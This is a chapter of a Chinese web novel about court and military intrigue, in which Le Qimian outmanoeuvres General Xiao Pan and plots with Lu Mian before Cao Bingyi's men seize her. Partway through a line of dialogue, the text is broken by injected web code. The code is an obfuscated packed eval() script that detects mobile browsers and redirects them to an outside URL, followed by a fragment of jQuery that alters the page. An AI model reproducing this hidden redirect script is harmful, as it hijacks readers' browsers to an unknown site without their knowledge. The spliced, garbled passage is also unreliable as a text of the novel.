瑞云殿外,彤云密布,冷雾浓郁。闻家军与御卫相对而立,都在等殿中消息。
这时,脚步声响起,一名传令兵奔至萧蟠面前,喘息未定:“梁臣商议出了人选!”
萧蟠手指微动,看了眼御卫,示意他说下去。
“和将军计划的不同,这些人没有选陆冕,而推举了枢密院一名姓严的官员。”
萧蟠有些意外,他将乐绮眠留在殿中,就是放心她能说服梁臣,将陆冕扶上帝位,带来的闻家军也是协助她完成此事。
众臣麇集殿中,见萧蟠到来,纷纷后退。萧蟠让士兵遣散众人,只留乐绮眠在内。
“乐姑娘打萧某一个措手不及,难道现在就耐不住性子,要和老三撕破脸?”
萧蟠见她像个没事人,还有心情用案上的糕点,心中又好气又好笑——这人想做什么?
乐绮眠一派闲适道:“谁来做这个新君,对将军很重要?”
萧蟠凉凉道:“对萧某自然不重要,但老三问起来,萧某交不了差,那就与萧某有关了。你与太子相熟,让他说服众臣,将陆冕弄上皇位轻而易举。现在让曹病已的人抢占先机,什么意思呢?”
出发前商议好一切,临到关头变卦,任谁都会措手不及。
乐绮眠说:“将军请坐。”
萧蟠虽有不快,但掀起袍摆坐到对面。
“将军想坐收渔利,固然不错,但只赌肃王与闻师俭的胜负,”乐绮眠提起茶壶,慢慢给他倒了茶,“未必能讨到好。”
萧蟠接过茶,一语不发。
乐绮眠笑道:“若肃王败给闻氏,以将军的才干,屈居于闻师俭之下,将军扪心自问,可甘心?与其依附旁人,不如自己做这个强者。与我一同杀了闻师俭,不必唯闻氏马首是瞻,你来做这个副帅。”
“.......是萧某小看了你,”萧蟠发觉自己阴沟里翻船,咬着牙笑道,“姑娘何止聪慧,而是把萧某玩弄于鼓掌中啊。”
依萧蟠所想,即使朝臣推选陆冕为帝,惹得肃王不快,也有乐绮眠这个靶子分担罪责。
而他为了不使闻师俭起疑,可没有告诉对方,陆冕是乐绮眠提供的人选。得知严洵被推上帝位,对方只会责问他一人。
“将军数次对闻师俭撒谎,他知道你做的这些,必然不会放过将军。”
乐绮眠柔声道,“将军总不愿把事做绝,可依我对肃王的了解,他从不收留胆小如鼠之辈。莫如说,即使闻氏倒下,肃王也未必瞧得上将——”
“唰!”
她堵死了萧蟠两条路,他脸色尚无变化,却抽出腰间软剑,抵住乐绮眠咽喉。
“威胁萧某?”萧蟠笑容不改,却渐渐狠厉,“不谈这二人,姑娘可别忘了,我首先是异国将领,其次才是与你合作之人。”
“只是规劝将军,万勿因一时畏怯,断送了大好前程。”
乐绮眠依然从容,仿佛被拿住要害也不算什么。因为那极具迷惑性的外表,这些话听上去并不尖锐,反而像温和平静的劝慰。
萧蟠面色几变,最后,收回剑,笑了笑:“姑娘这么说了,萧某不答应,似乎说不过去。但萧某不止代表自己一人,目下谨慎些总不会错。”
他没有直接给乐绮眠答复,但也没有拒绝,说明这番话他听进去了。
傍晚时,宫道里刮起寒风。乐绮眠坐在御花园内,陆冕背手站在前方。
“让严洵当选的目的能瞒过曹病已一时,但他恐怕很快会回过味来。”
乐绮眠从地上捡起一根枯枝,拿在手中:“这点可以放心,即便陆相当选,曹病已也不会放过我二人。”
这叫什么“放心”?陆冕哭笑不得。
“过去要见他一面不易,现在有严洵做靠山,他必定迫不及待找上门来,”乐绮眠折断那截枯枝,将它扔入潭中,“恰好,我也有笔账,要与他算一算。”
说完,枝条就被寒风卷走,刮入黑夜之中。
***
西大营没有专门的传令兵,但御卫会将重要军情交给崔烈,再转到傅厌辞案头。但今日不等崔烈入帐,新君的人选已经在营中传开。
“乐小姐没有阻拦?”崔烈听完御卫介绍,半信半疑,“这倒有些奇怪。”
他知道乐绮眠被派去接近闻师俭,为了获取对方信任,应该在这件事上有所表示,可她没有。
傅厌辞说:“萧蟠的反应?”
“萧蟠没找曹病已麻烦,给闻师俭送了封信解释原因,”崔烈忽然想起一事,“有条消息可能有用,他派了人看护乐小姐,我猜是提防曹病已寻机报复。”
以乐绮眠的本事,让陆冕当上新君绝非难事,将机会拱手相让,可能有其他打算。萧蟠隐忍不发,显然知道点什么。让崔烈惊奇的是,不过短短数日,她竟然能说动萧蟠为她做事。
崔烈道:“既然有危险,殿下不如派些兵马到乐小姐的寓所。”
这是出于任务的考虑,但这句话说出,傅厌辞却了无反应。
崔烈说:“殿下?”
崔烈觉得他反常,却不知道,以乐绮眠的性子,如果需要帮助,不管傅厌辞如何警告,她都会找上门来。不来正是因为不需要。
傅厌辞并不慷慨,就像那只漆匣,他给出的东西被一次次随意抛掷,下次做出选择时,他会更为吝啬。
离开大帐后,崔烈思来想去,还是叫住一名路过的御卫,吩咐对方:“你进城一趟,找到使团的寓所,就说请乐家小姐回营试药。”
御卫道:“是。”
军医查验药珠一事刚有点眉目,帮乐绮眠早日解毒,总不会错。
崔烈暗暗松了口气,这两人一个赛一个冷漠,他夹在当中,寸步难行,只能寄希望于乐绮眠看懂他的暗示。
***
因为乐绮眠尚算人质,无令不得擅离寓所,陆冕要与她议事,就必须来寓所。
瑞云殿风波的第二日,乐绮眠备好了茶,在窗下等待陆冕。但人到来前,萧蟠手下的传令兵先来了一趟。
“那位得知新君人选,责备了萧将军。萧将军说会尽快换下严洵,那位定了五日的期限,如若不成,他打算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315080|167077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲自入城。”
从闻师俭的视角看,乐绮眠只是萧蟠的助力,有问题不会直接找她麻烦,萧蟠也算自作自受。
陆冕到来后,先将小院瞧了一遍,再入座:“老夫联络了勤王军,过几日就有答复。不过闻氏若摒弃前嫌,与肃王结成同盟,以咱们的兵力,恐难应付,还需再想其他法子。”
这就是放任严洵当选伪帝的原因——乐绮眠根本不打算让傀儡控制奉京。在严洵“登基”前,她要利用勤王军,将苍人逐出奉京。
“所以要让闻师俭想这么做,”乐绮眠笑了笑,“也有心无力。”
她将茶粉细细倒在案上,用茶匙勾出“傅”、“闻”、“萧”三字。
“萧蟠立场摇摆,是征南军最大的变数,让他倒向肃王,从而拖住闻师俭,对勤王军更有利。”
“闻”与“萧”二字被同时圈起来,用茶匙推到一旁,剩下一个孤零零的“傅”。
陆冕了然:“这么看,萧蟠才是战役的关键。不过此人狡猾多变,要说服他对抗闻师俭,也是道难题。”
乐绮眠这些天来,做的就是这件事。萧蟠说她是赌徒,其实没错。她赌的是时局与人心。
“杀肃王等同谋乱,闻师俭没有闻仲达背水一战的魄力,做不出先杀肃王,再倒逼太子夺权的举动。连日来按兵不动,就是在等太子回信。萧蟠更是如此,一旦太子萌生退缩之意,他嗅到风向,自然会重新评估闻氏的价值。”
陆冕捋须,松了口气:“若能如此便好,勤王军对上肃王不至太吃——”
乐绮眠忽然竖起食指,比了个噤声的动作。
几乎她刚让陆冕停下话音,陆冕听到听小院外响起杂沓的脚步声,至少有数十人往这边赶来。
“陆相先从后门离开,”乐绮眠扫去茶粉,从茶案边起身,“我去见见曹病已。”
陆冕心知曹病已会找上门,并不慌乱,倒掉自己那杯,起身说:“那便依计划而行,小姐保重,老夫去寻萧蟠。”
他从后门离开的同一刻,寓所大门被人用力踹开。
“嘭!”
曹病已走在官兵前方,小院没有守卫,闯进来轻而易举。
“乐小姐在瑞云殿狐假虎威时何其风光,这回失去肃王臂助便现出原形,可笑曹某昨夜着了你的道,竟以为你得了肃王青眼,”曹病已恨声说,“岂知你早已沦为鹰奴,这次进城,身边更没有半名护卫!”
官兵涌上前,乐绮眠静立原地,道:“不必戴枷,我随枢相上车。”
“现在求饶?晚了!”曹病已冷眼漠视,“蒙上眼,带走!”
乐绮眠被带上一辆马车,因为两眼被蒙住,只能听到车轮碾过地面的响动。
约莫半个时辰后,官兵将她从车上押下,揭了她的眼罩。她抬头看去,眼前却是熟悉的御史台。
“既然主动上车,应当知道曹某为何寻你,那日薛贤落入你手中,说了什么,做了什么,一一交代,否则别怪曹某不仁,”曹病已站在墙下,刀刃滑过地面,发出刺耳尖鸣,“以你这身血肉试刃。”